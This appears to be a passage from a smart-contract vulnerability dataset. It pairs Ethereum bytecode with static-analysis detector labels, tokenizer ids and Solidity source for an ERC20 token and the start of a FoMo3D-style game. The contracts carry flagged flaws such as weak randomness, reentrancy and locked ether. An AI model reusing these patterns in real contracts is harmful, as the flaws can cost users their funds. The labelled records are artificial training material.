00190815260200160002060009054906101000a900460ff161561157f5761157a83600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611ca1565b611597565b601460003690501415611596576115958361229c565b5b5b5b505050565b600080600080600080600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054955061163c600254600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1090919063ffffffff16565b9450600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205493506116d4600254600b60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1090919063ffffffff16565b9250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054915061176c600254600c60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1090919063ffffffff16565b905091939550919395565b600080610e1062015180600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548115156117ca57fe5b068115156117d457fe5b049150603c610e1062015180600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481151561182957fe5b0681151561183357fe5b0681151561183d57fe5b049050915091565b6000600454905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118aa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156118e657600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008060006119ab600254600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1090919063ffffffff16565b9450611a01600254600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1090919063ffffffff16565b9350611b5b62015180611b4d611a75612710611a67610137600360008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd290919063ffffffff16565b611c1090919063ffffffff16565b611b3f611adf62015180611ad1600660008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611c3a90919063ffffffff16565b611c5b90919063ffffffff16565b611b31600660008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611c3a90919063ffffffff16565b611c3a90919063ffffffff16565b611bd290919063ffffffff16565b611c1090919063ffffffff16565b9050611b7260025482611c1090919063ffffffff16565b9250611bc8600254600f60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c1090919063ffffffff16565b9150509193509193565b6000806000841415611be75760009150611c09565b8284029050828482811515611bf857fe5b04141515611c0557600080fd5b8091505b5092915050565b600080600083111515611c2257600080fd5b8284811515611c2d57fe5b0490508091505092915050565b600080838311151515611c4c57600080fd5b82840390508091505092915050565b6000808214151515611c6c57600080fd5b8183811515611c7757fe5b06905092915050565b6000808284019050838110151515611c9757600080fd5b8091505092915050565b600080611d09611cbb602886611c1090919063ffffffff16565b600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8090919063ffffffff16565b600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d9e84600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8090919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561229657600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150611efa611eac603286611c1090919063ffffffff16565b600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8090919063ffffffff16565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8f84600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8090919063ffffffff16565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e6000600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561229557600d6000600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506121bc61216e60c8612160600388611bd290919063ffffffff16565b611c1090919063ffffffff16565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8090919063ffffffff16565b600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061225184600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8090919063ffffffff16565b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b50505050565b60006122da6000368080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050506129b2565b90506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156129ae5780600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061244d6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8090919063ffffffff16565b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156128fb57612594600160086000600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8090919063ffffffff16565b60086000600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156128fa576127f8600160096000600d6000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8090919063ffffffff16565b60096000600d6000600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b612960612912603284611c1090919063ffffffff16565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8090919063ffffffff16565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129ad8282611ca1565b5b5050565b6000601482015190508090509190505600a165627a7a723058206937c211a4d25c0cac069bd2466ff28a03342622434eb1a15b2e41bbc9e45e2b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'constant-function-asm', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 2050, 2475, 2278, 2683, 3676, 20842, 28311, 11057, 2546, 2094, 29345, 2692, 2278, 22022, 21472, 2487, 2278, 12740, 2063, 2575, 14526, 2575, 2475, 2546, 2475, 20952, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 3206, 11849, 2121, 2278, 11387, 1063, 3853, 11849, 3406, 9080, 6342, 9397, 2135, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 11849, 26657, 11253, 1006, 4769, 2040, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 11849, 6494, 3619, 7512, 1006, 4769, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1010, 4769, 2030, 8004, 5054, 4063, 1007, 2270, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 11849, 8095, 21293, 5897, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,877
0x978b0a831e0899ec1b7d2a098a8572bd2c14538e
pragma solidity ^0.4.21; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and an // initial fixed supply // ---------------------------------------------------------------------------- contract RSUNToken is ERC20Interface{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function RSUNToken() public { symbol = "RSUN"; name = "RUISUN NEW ENERGY"; decimals = 18; _totalSupply = 500000000 * 10**uint(decimals); balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // send ERC20 Token to multi address // ------------------------------------------------------------------------ function multiTransfer(address[] _addresses, uint256[] amounts) public returns (bool success){ for (uint256 i = 0; i < _addresses.length; i++) { transfer(_addresses[i], amounts[i]); } return true; } // ------------------------------------------------------------------------ // send ERC20 Token to multi address with decimals // ------------------------------------------------------------------------ function multiTransferDecimals(address[] _addresses, uint256[] amounts) public returns (bool success){ for (uint256 i = 0; i < _addresses.length; i++) { transfer(_addresses[i], amounts[i] * 10**uint(decimals)); } return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b45780631e89d545146101df57806323b872dd146102a0578063313ce567146103255780636ac878f31461035657806370a082311461041757806395d89b411461046e578063a9059cbb146104fe578063cae9ca5114610563578063dd62ed3e1461060e575b600080fd5b3480156100cb57600080fd5b506100d4610685565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610723565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610815565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b506102866004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610860565b604051808215151515815260200191505060405180910390f35b3480156102ac57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108c2565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b5061033a610b6d565b604051808260ff1660ff16815260200191505060405180910390f35b34801561036257600080fd5b506103fd6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610b80565b604051808215151515815260200191505060405180910390f35b34801561042357600080fd5b50610458600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bf9565b6040518082815260200191505060405180910390f35b34801561047a57600080fd5b50610483610c42565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c35780820151818401526020810190506104a8565b50505050905090810190601f1680156104f05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050a57600080fd5b50610549600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce0565b604051808215151515815260200191505060405180910390f35b34801561056f57600080fd5b506105f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610e7b565b604051808215151515815260200191505060405180910390f35b34801561061a57600080fd5b5061066f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110ca565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561071b5780601f106106f05761010080835404028352916020019161071b565b820191906000526020600020905b8154815290600101906020018083116106fe57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b600080600090505b83518110156108b7576108a9848281518110151561088257fe5b90602001906020020151848381518110151561089a57fe5b90602001906020020151610ce0565b508080600101915050610868565b600191505092915050565b600061091682600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461115190919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e882600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461115190919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aba82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461116d90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b600080600090505b8351811015610bee57610be08482815181101515610ba257fe5b90602001906020020151600260009054906101000a900460ff1660ff16600a0a8584815181101515610bd057fe5b9060200190602002015102610ce0565b508080600101915050610b88565b600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610cd85780601f10610cad57610100808354040283529160200191610cd8565b820191906000526020600020905b815481529060010190602001808311610cbb57829003601f168201915b505050505081565b6000610d3482600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461115190919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dc982600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461116d90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561105857808201518184015260208101905061103d565b50505050905090810190601f1680156110855780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156110a757600080fd5b505af11580156110bb573d6000803e3d6000fd5b50505050600190509392505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561116257600080fd5b818303905092915050565b6000818301905082811015151561118357600080fd5b929150505600a165627a7a72305820e615c865f4625953db26307cd52c1cacb42612f87f233f220470a8ff891bbfe90029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 2497, 2692, 2050, 2620, 21486, 2063, 2692, 2620, 2683, 2683, 8586, 2487, 2497, 2581, 2094, 2475, 2050, 2692, 2683, 2620, 2050, 27531, 2581, 2475, 2497, 2094, 2475, 2278, 16932, 22275, 2620, 2063, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2538, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,878
0x978b15cd40f7286d674258588af4635dce055282
pragma solidity ^0.4.24; //============================================================================== // _ _ _ _|_ _ . // (/_\/(/_| | | _\ . //============================================================================== contract F3Devents { // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); // fired at end of buy or reload event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); // fired whenever theres a withdraw event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); // fired whenever a withdraw forces end round to be ran event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // (fomo3d long only) fired whenever a player tries a buy after round timer // hit zero, and causes end round to be ran. event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // (fomo3d long only) fired whenever a player tries a reload after round timer // hit zero, and causes end round to be ran. event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // fired whenever an affiliate is paid event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); // received pot swap deposit event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } //============================================================================== // _ _ _ _|_ _ _ __|_ _ _ _|_ _ . // (_(_)| | | | (_|(_ | _\(/_ | |_||_) . //====================================|========================================= contract modularLong is F3Devents {} contract FoMoGame is modularLong { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; address private team = 0xBd01103c36f400344b427Cb51934B765007e16f6; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xB066135b92A122225bf786C38BC5d2284BE7A27e); //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) 